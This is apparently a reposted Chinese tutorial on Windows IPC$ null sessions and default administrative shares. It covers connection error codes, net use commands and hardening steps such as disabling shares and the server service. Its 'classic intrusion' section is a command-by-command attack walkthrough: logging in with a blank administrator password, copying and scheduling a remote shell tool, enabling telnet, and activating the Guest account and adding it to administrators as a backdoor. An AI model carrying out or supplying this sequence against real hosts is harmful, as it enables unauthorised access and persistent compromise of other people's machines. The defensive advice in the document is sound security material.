IPC連結
只是做個記錄:
1)ipc$與空連線: 不需要使用者名稱與密碼的ipc$連線即為空連線,一旦你以某個使用者或管理員的身份登陸(即以特定的使用者名稱和密碼進行ipc$連線),自然就不能叫做空連線了. 許多人可能要問了,既然可以空連線,那我以後就空連線好了,為什麼還要費九牛二虎之力去掃描弱口令,呵呵,原因前面提到過,當你以空連線登陸時,你沒有任何許可權(很鬱悶吧),而你以使用者或管理員的身份登陸時,你就會有相應的許可權(有許可權誰不想呀,所以還是老老實實掃吧,不要偷懶喲). 2)ipc$與139,445埠: ipc$連線可以實現遠端登陸及對預設共享的訪問;而139埠的開啟表示netbios協議的應用,我們可以通過139,445(win2000)埠實現對共享檔案/印表機的訪問,因此一般來講,ipc$連線是需要139或445埠來支援的. 3)ipc$與預設共享 預設共享是為了方便管理員遠端管理而預設開啟的共享(你當然可以關閉它),即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$),我們通過ipc$連線可以實現對這些預設共享的訪問(前提是對方沒有關閉這些預設共享)
五 ipc$連線失敗的原因 以下5個原因是比較常見的: 1)你的系統不是NT或以上作業系統; 2)對方沒有開啟ipc$預設共享 3)對方未開啟139或445埠(惑被防火牆遮蔽) 4)你的命令輸入有誤(比如缺少了空格等) 5)使用者名稱或密碼錯誤(空連線當然無所謂了) 另外,你也可以根據返回的錯誤號分析原因: 錯誤號5,拒絕訪問 : 很可能你使用的使用者不是管理員許可權的,先提升許可權; 錯誤號51,Windows 無法找到網路路徑 : 網路有問題; 錯誤號53,找不到網路路徑 : ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(埠過濾); 錯誤號67,找不到網路名 : 你的lanmanworkstation服務未啟動;目標刪除了ipc$; 錯誤號1219,提供的憑據與已存在的憑據集衝突 : 你已經和對方建立了一個ipc$,請刪除再連。 錯誤號1326,未知的使用者名稱或錯誤密碼 : 原因很明顯了; 錯誤號1792,試圖登入,但是網路登入服務沒有啟動 : 目標NetLogon服務未啟動。(連線域控會出現此情況) 錯誤號2242,此使用者的密碼已經過期 : 目標有帳號策略,強制定期要求更改密碼。 關於ipc$連不上的問題比較複雜,除了以上的原因,還會有其他一些不確定因素,在此本人無法詳細而確定的說明,就靠大家自己體會和試驗了.
六 如何開啟目標的IPC$(此段引自相關文章) 首先你需要獲得一個不依賴於ipc$的shell,比如sql的cmd擴充套件、telnet、木馬,當然,這shell必須是admin許可權的,然後你可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上面可以知道,ipc$能否使用還有很多條件。請確認相關服務都已執行,沒有就啟動它(不知道怎麼做的請看net命令的用法),還是不行的話(比如有防火牆,殺不了)建議放棄。
七 如何防範ipc$入侵 1禁止空連線進行列舉(此操作並不能阻止空連線的建立,引自《解剖win2000下的空會話》) 首先執行regedit,找到如下組建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為:00000001(如果設定為2的話,有一些問題會發生,比如一些WIN的服務出現問題等等)
2禁止預設共享 1)察看本地共享資源 執行-cmd-輸入net share 2)刪除共享(每次輸入一個) net share ipc$ /delete net share admin$ /delete net share c$ /delete net share d$ /delete(如果有e,f,……可以繼續刪除) 3)停止server服務 net stop server /y (重新啟動後server服務會重新開啟) 4)修改登錄檔 執行-regedit server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。 pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。 如果上面所說的主鍵不存在,就新建(右擊-新建-雙位元組值)一個主健再改鍵值。 3永久關閉ipc$和預設共享依賴的服務:lanmanserver即server服務 控制皮膚-管理工具-服務-找到server服務(右擊)-屬性-常規-啟動型別-已禁用 4安裝防火牆(選中相關設定),或者埠過濾(濾掉139,445等),或者用新版本的優化大師 5設定複雜密碼,防止通過ipc$窮舉密碼
八 相關命令 1)建立空連線: net use \\IP\ipc$ "" /user:"" (一定要注意:這一行命令中包含了3個空格) 2)建立非空連線: net use \\IP\ipc$ "使用者名稱" /user:"密碼" (同樣有3個空格) 3)對映預設共享: net use z: \\IP\c$ "密碼" /user:"使用者名稱" (即可將對方的c盤對映為自己的z盤,其他盤類推) 如果已經和目標建立了ipc$,則可以直接用IP+碟符+$訪問,具體命令 net use z: \\IP\c$ 4)刪除一個ipc$連線 net use \\IP\ipc$ /del 5)刪除共享對映 net use c: /del 刪除對映的c盤,其他盤類推 net use * /del 刪除全部,會有提示要求按y確認
九 經典入侵模式 這個入侵模式太經典了,大部分ipc教程都有介紹,我也就拿過來引用了,在此感謝原創作者!(不知道是哪位前輩) 1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators" 這是用《流光》掃到的使用者名稱是administrators,密碼為"空"的IP地址(空口令?哇,運氣好到家了),如果是打算攻擊的話,就可以用這樣的命令來與127.0.0.1建立一個連線,因為密碼為"空",所以第一個引號處就不用輸入,後面一個雙引號裡的是使用者名稱,輸入administrators,命令即可成功完成。 2. C:\>copy srv.exe \\127.0.0.1\admin$ 先複製srv.exe上去,在流光的Tools目錄下就有(這裡的$是指admin使用者的c:\winnt\system32\,大家還可以使用c$、d$,意思是C盤與D盤,這看你要複製到什麼地方去了)。 3. C:\>net time \\127.0.0.1 查查時間,發現127.0.0.1 的當前時間是 2002/3/19 上午 11:00,命令成功完成。 4. C:\>at \\127.0.0.1 11:05 srv.exe 用at命令啟動srv.exe吧(這裡設定的時間要比主機時間快,不然你怎麼啟動啊,呵呵!) 5. C:\>net time \\127.0.0.1 再查查到時間沒有?如果127.0.0.1 的當前時間是 2002/3/19 上午 11:05,那就準備開始下面的命令。 6. C:\>telnet 127.0.0.1 99 這裡會用到Telnet命令吧,注意埠是99。Telnet預設的是23埠,但是我們使用的是SRV在對方計算機中為我們建立一個99埠的Shell。 雖然我們可以Telnet上去了,但是SRV是一次性的,下次登入還要再啟用!所以我們打算建立一個Telnet服務!這就要用到ntlm了 7.C:\>copy ntlm.exe \\127.0.0.1\admin$ 用Copy命令把ntlm.exe上傳到主機上(ntlm.exe也是在《流光》的Tools目錄中)。 8. C:\WINNT\system32>ntlm 輸入ntlm啟動(這裡的C:\WINNT\system32>指的是對方計算機,執行ntlm其實是讓這個程式在對方計算機上執行)。當出現"DONE"的時候,就說明已經啟動正常。然後使用"net start telnet"來開啟Telnet服務! 9. Telnet 127.0.0.1,接著輸入使用者名稱與密碼就進入對方了,操作就像在DOS上操作一樣簡單!(然後你想做什麼?想做什麼就做什麼吧,哈哈) 為了以防萬一,我們再把guest啟用加到管理組 10. C:\>net user guest /active:yes 將對方的Guest使用者啟用 11. C:\>net user guest 1234 將Guest的密碼改為1234,或者你要設定的密碼 12. C:\>net localgroup administrators guest /add 將Guest變為Administrator^_^(如果管理員密碼更改,guest帳號沒改變的話,下次我們可以用guest再次訪問這臺計算機)
相關文章
- Linux IPC總結(全)Linux
- Linux IPC小結(轉)Linux
- 內網滲透 IPC$ [空連線]內網
- Android的IPC機制(三)——Binder連線池Android
- 菜鳥必看IPC空連線的使用(轉載)
- linux程式間通訊(IPC)小結Linux
- 網路安全系列之十九禁止建立ipc$連線
- IPC call
- IPC__ALL
- 【連結 1】與靜態連結庫連結
- 硬連結和軟連結
- IPC之套接字
- IPC 方法分類
- IPC(一)---------匿名管道
- android binder ipcAndroid
- IPC小知識
- cmake 連結動態連結庫
- 連結串列-雙向連結串列
- 連結串列-迴圈連結串列
- 連結串列面試題(二)---連結串列逆序(連結串列反轉)面試題
- 硬連結與軟連結詳解
- Linux軟連結和硬連結Linux
- 軟連結和硬連結詳解
- linux硬連結和軟連結Linux
- 連結串列4: 迴圈連結串列
- 連結串列-單連結串列實現
- TG開戶籍連結TG開戶籍連結TG開戶籍連結TG開戶籍連結TG開戶籍連結
- 程式間通訊 --IPC
- IPC send completion sync
- Android Binder IPC分析Android
- IPC Send timeout detected
- ISP 連結總結
- TG開戶籍連結TG開戶籍連結TG開戶籍連結TG開戶籍連結
- “軟連結”和“硬連結”的區別
- 軟連結與硬連結的區別
- 連結串列入門與插入連結串列
- Linux(8) —— 硬連結和軟連結Linux
- (連結串列)連結串列的排序問題排序